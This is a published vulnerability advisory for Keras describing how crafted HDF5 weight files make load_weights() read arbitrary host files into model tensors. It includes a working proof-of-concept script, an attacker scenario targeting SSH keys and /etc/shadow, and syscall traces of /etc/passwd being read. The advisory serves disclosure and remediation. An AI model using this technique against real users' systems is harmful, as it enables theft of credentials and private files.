{"id":"PYSEC-2026-2546","summary":"Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading","details":"## Summary\n\nTensorFlow / Keras continues to honor HDF5 “external storage” and `ExternalLink` features when loading weights. A malicious `.weights.h5` (or a `.keras` archive embedding such weights) can direct `load_weights()` to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (`tensorflow 2.20.0`, `keras 3.11.3`, `h5py 3.15.1`, `numpy 2.3.4`).\n\n## Impact\n\n- **Class**: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)\n- **What leaks**: Contents of any readable file on the host (e.g., `/etc/hosts`, `/etc/passwd`, `/etc/hostname`).\n- **Visibility**: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.\n- **Prerequisites**: Victim executes `model.load_weights()` or `tf.keras.models.load_model()` on an attacker-supplied HDF5 weights file or `.keras` archive.\n- **Scope**: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.\n\n## Attacker Scenario\n\n1. **Initial foothold**: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.\n2. **Crafted payload**: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., `/home/\u003cuser\u003e/.ssh/id_rsa`, `/etc/shadow` if readable, configuration files containing API keys, etc.).\n3. **Execution**: The victim calls `model.load_weights()` (or `tf.keras.models.load_model()` for `.keras` archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.\n4. **Exfiltration vectors**:\n   - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.\n   - Re-saving the model (weights or `.keras` archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.\n   - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.\n\n### Additional Preconditions\n\n- The target file must exist and be readable by the process running TensorFlow/Keras.\n- Safe mode (`load_model(..., safe_mode=True)`) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.\n- Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to `/etc/hostname`) can reduce impact, but common defaults expose a broad set of host files.\n\n## Environment Used for Verification (2025‑10‑19)\n\n- OS: Debian-based container running Python 3.11.\n- Packages (installed via `python -m pip install -U ...`):\n  - `tensorflow==2.20.0`\n  - `keras==3.11.3`\n  - `h5py==3.15.1`\n  - `numpy==2.3.4`\n- Tooling: `strace` (for syscall tracing), `pip` upgraded to latest before installs.\n- Debug flags: `PYTHONFAULTHANDLER=1`, `TF_CPP_MIN_LOG_LEVEL=0` during instrumentation to capture verbose logs if needed.\n\n## Reproduction Instructions (Weights-Only PoC)\n\n1. Ensure the environment above (or equivalent) is prepared.\n2. Save the following script as `weights_external_demo.py`:\n\n```python\nfrom __future__ import annotations\nimport os\nfrom pathlib import Path\nimport numpy as np\nimport tensorflow as tf\nimport h5py\n\ndef choose_host_file() -\u003e Path:\n    candidates = [\n        os.environ.get(\"KFLI_PATH\"),\n        \"/etc/machine-id\",\n        \"/etc/hostname\",\n        \"/proc/sys/kernel/hostname\",\n        \"/etc/passwd\",\n    ]\n    for candidate in candidates:\n        if not candidate:\n            continue\n        path = Path(candidate)\n        if path.exists() and path.is_file():\n            return path\n    raise FileNotFoundError(\"set KFLI_PATH to a readable file\")\n\ndef build_model(units: int) -\u003e tf.keras.Model:\n    model = tf.keras.Sequential([\n        tf.keras.layers.Input(shape=(1,), name=\"input\"),\n        tf.keras.layers.Dense(units, activation=None, use_bias=True, name=\"dense\"),\n    ])\n    model(tf.zeros((1, 1)))  # build weights\n    return model\n\ndef find_bias_dataset(h5file: h5py.File) -\u003e str:\n    matches: list[str] = []\n    def visit(name: str, obj) -\u003e None:\n        if isinstance(obj, h5py.Dataset) and name.endswith(\"bias:0\"):\n            matches.append(name)\n    h5file.visititems(visit)\n    if not matches:\n        raise RuntimeError(\"bias dataset not found\")\n    return matches[0]\n\ndef rewrite_bias_external(path: Path, host_file: Path) -\u003e tuple[int, int]:\n    with h5py.File(path, \"r+\") as h5file:\n        bias_path = find_bias_dataset(h5file)\n        parent = h5file[str(Path(bias_path).parent)]\n        dset_name = Path(bias_path).name\n        del parent[dset_name]\n        max_bytes = 128\n        size = host_file.stat().st_size\n        nbytes = min(size, max_bytes)\n        nbytes = (nbytes // 4) * 4 or 32  # multiple of 4 for float32 packing\n        units = max(1, nbytes // 4)\n        parent.create_dataset(\n            dset_name,\n            shape=(units,),\n            dtype=\"float32\",\n            external=[(host_file.as_posix(), 0, nbytes)],\n        )\n        return units, nbytes\n\ndef floats_to_ascii(arr: np.ndarray) -\u003e tuple[str, str]:\n    raw = np.ascontiguousarray(arr).view(np.uint8)\n    ascii_preview = bytes(b if 32 \u003c= b \u003c 127 else 46 for b in raw).decode(\"ascii\", \"ignore\")\n    hex_preview = raw[:64].tobytes().hex()\n    return ascii_preview, hex_preview\n\ndef main() -\u003e None:\n    host_file = choose_host_file()\n    model = build_model(units=32)\n\n    weights_path = Path(\"weights_demo.h5\")\n    model.save_weights(weights_path.as_posix())\n\n    units, nbytes = rewrite_bias_external(weights_path, host_file)\n    print(\"secret_text_source\", host_file)\n    print(\"units\", units, \"bytes_mapped\", nbytes)\n\n    model.load_weights(weights_path.as_posix())\n    output = model.predict(tf.zeros((1, 1)), verbose=0)[0]\n    ascii_preview, hex_preview = floats_to_ascii(output)\n    print(\"recovered_ascii\", ascii_preview)\n    print(\"recovered_hex64\", hex_preview)\n\n    saved = Path(\"weights_demo_resaved.h5\")\n    model.save_weights(saved.as_posix())\n    print(\"resaved_weights\", saved.as_posix())\n\nif __name__ == \"__main__\":\n    main()\n```\n\n3. Execute `python weights_external_demo.py`.\n4. Observe:\n   - `secret_text_source` prints the chosen host file path.\n   - `recovered_ascii`/`recovered_hex64` display the file contents recovered via model inference.\n   - A re-saved weights file contains the leaked bytes inside the artifact.\n\n## Expanded Validation (Multiple Attack Scenarios)\n\nThe following test harness generalises the attack for multiple HDF5 constructs:\n\n- Build a minimal feed-forward model and baseline weights.\n- Create three malicious variants:\n  1. **External storage dataset**: dataset references `/etc/hosts`.\n  2. **External link**: `ExternalLink` pointing at `/etc/passwd`.\n  3. **Indirect link**: external storage referencing a helper HDF5 that, in turn, refers to `/etc/hostname`.\n- Run each scenario under `strace -f -e trace=open,openat,read` while calling `model.load_weights(...)`.\n- Post-process traces and weight tensors to show the exact bytes loaded.\n\nRelevant syscall excerpts captured during the run:\n\n```\nopenat(AT_FDCWD, \"/etc/hosts\", O_RDONLY|O_CLOEXEC) = 7\nread(7, \"127.0.0.1 localhost\\n\", 64) = 21\n...\nopenat(AT_FDCWD, \"/etc/passwd\", O_RDONLY|O_CLOEXEC) = 9\nread(9, \"root:x:0:0:root:/root:/bin/bash\\n\", 64) = 32\n...\nopenat(AT_FDCWD, \"/etc/hostname\", O_RDONLY|O_CLOEXEC) = 8\nread(8, \"example-host\\n\", 64) = 13\n```\n\nThe corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.\n\n## Recommended Product Fix\n\n1. **Default-deny external datasets/links**:\n   - Inspect creation property lists (`get_external_count`) before materialising tensors.\n   - Resolve `SoftLink` / `ExternalLink` targets and block if they leave the HDF5 file.\n2. **Provide an escape hatch**:\n   - Offer an explicit `allow_external_data=True` flag or environment variable for advanced users who truly rely on HDF5 external storage.\n3. **Documentation**:\n   - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.\n4. **Regression coverage**:\n   - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.\n\n## Workarounds\n\n- Avoid loading untrusted HDF5 weight files.\n- Pre-scan weight files using `h5py` to detect external datasets or links before invoking Keras loaders.\n- Prefer alternate formats (e.g., NumPy `.npz`) that lack external reference capabilities when exchanging weights.\n- If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.\n\n## Timeline (UTC)\n\n- **2025‑10‑18**: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.\n- **2025‑10‑19**: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented `safe_keras_hdf5.py` prototype guard.","aliases":["CVE-2026-1669","GHSA-3m4q-jmj6-r34q"],"modified":"2026-07-13T16:32:00.924214189Z","published":"2026-07-13T14:36:36.938706Z","references":[{"type":"WEB","url":"https://github.com/keras-team/keras/security/advisories/GHSA-3m4q-jmj6-r34q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-1669"},{"type":"WEB","url":"https://github.com/keras-team/keras/pull/22057"},{"type":"WEB","url":"https://github.com/keras-team/keras/commit/8a37f9dadd8e23fa4ee3f537eeb6413e75d12553"},{"type":"PACKAGE","url":"https://github.com/keras-team/keras"},{"type":"WEB","url":"https://github.com/keras-team/keras/releases/tag/v3.12.1"},{"type":"WEB","url":"https://github.com/keras-team/keras/releases/tag/v3.13.2"},{"type":"PACKAGE","url":"https://pypi.org/project/keras"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3m4q-jmj6-r34q"}],"affected":[{"package":{"name":"keras","ecosystem":"PyPI","purl":"pkg:pypi/keras"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.12.1"},{"introduced":"3.13.0"},{"fixed":"3.13.2"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1.0","3.1.1","3.10.0","3.11.0","3.11.1","3.11.2","3.11.3","3.12.0","3.13.0","3.13.1","3.2.0","3.2.1","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/keras/PYSEC-2026-2546.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}]}